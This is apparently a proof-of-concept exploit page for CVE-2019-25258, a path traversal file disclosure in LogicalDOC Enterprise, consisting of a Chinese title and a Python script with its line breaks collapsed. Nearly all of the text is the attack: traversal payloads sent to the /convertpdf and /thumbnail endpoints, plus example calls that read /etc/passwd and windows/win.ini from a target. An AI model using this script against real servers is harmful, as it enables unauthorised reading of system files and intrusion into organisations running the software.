CVE-2019-25258 LogicalDOC Enterprise 目录遍历文件泄露漏洞

import requests # CVE-2019-25258 PoC - LogicalDOC Enterprise File Disclosure # Target: LogicalDOC Enterprise <= 7.7.4 # Vulnerability: Path Traversal in /convertpdf and /thumbnail endpoints def exploit_cve_2019_25258(target_url, filename): """ Exploit path traversal vulnerability to read arbitrary files Args: target_url: Base URL of LogicalDOC Enterprise application filename: Target file to read (e.g., /etc/passwd or ../../../../windows/win.ini) Returns: File contents if successful, None otherwise """ # Target endpoints vulnerable to path traversal endpoints = [ "/convertpdf", "/thumbnail" ] # Path traversal payloads payloads = [ f"?fileVersion=../../../..{filename}", f"?suffix=../../../..{filename}", f"?fileVersion=....//....//....//....//{filename}", f"?suffix=....//....//....//....//{filename}" ] for endpoint in endpoints: for payload in payloads: try: url = target_url.rstrip('/') + endpoint + payload response = requests.get(url, timeout=10) # Check if file content was returned if response.status_code == 200 and len(response.content) > 0: # Verify it's actual file content, not an error page if not any(err in response.text.lower() for err in ['error', 'not found', 'invalid']): return response.content except requests.RequestException: continue return None # Example usage if __name__ == "__main__": target = "http://targetLogicalDOC.com" # Read /etc/passwd on Linux systems result = exploit_cve_2019_25258(target, "/etc/passwd") if result: print("Linux /etc/passwd content:") print(result.decode('utf-8', errors='ignore')) # Read win.ini on Windows systems result = exploit_cve_2019_25258(target, "windows/win.ini") if result: print("Windows win.ini content:") print(result.decode('utf-8', errors='ignore'))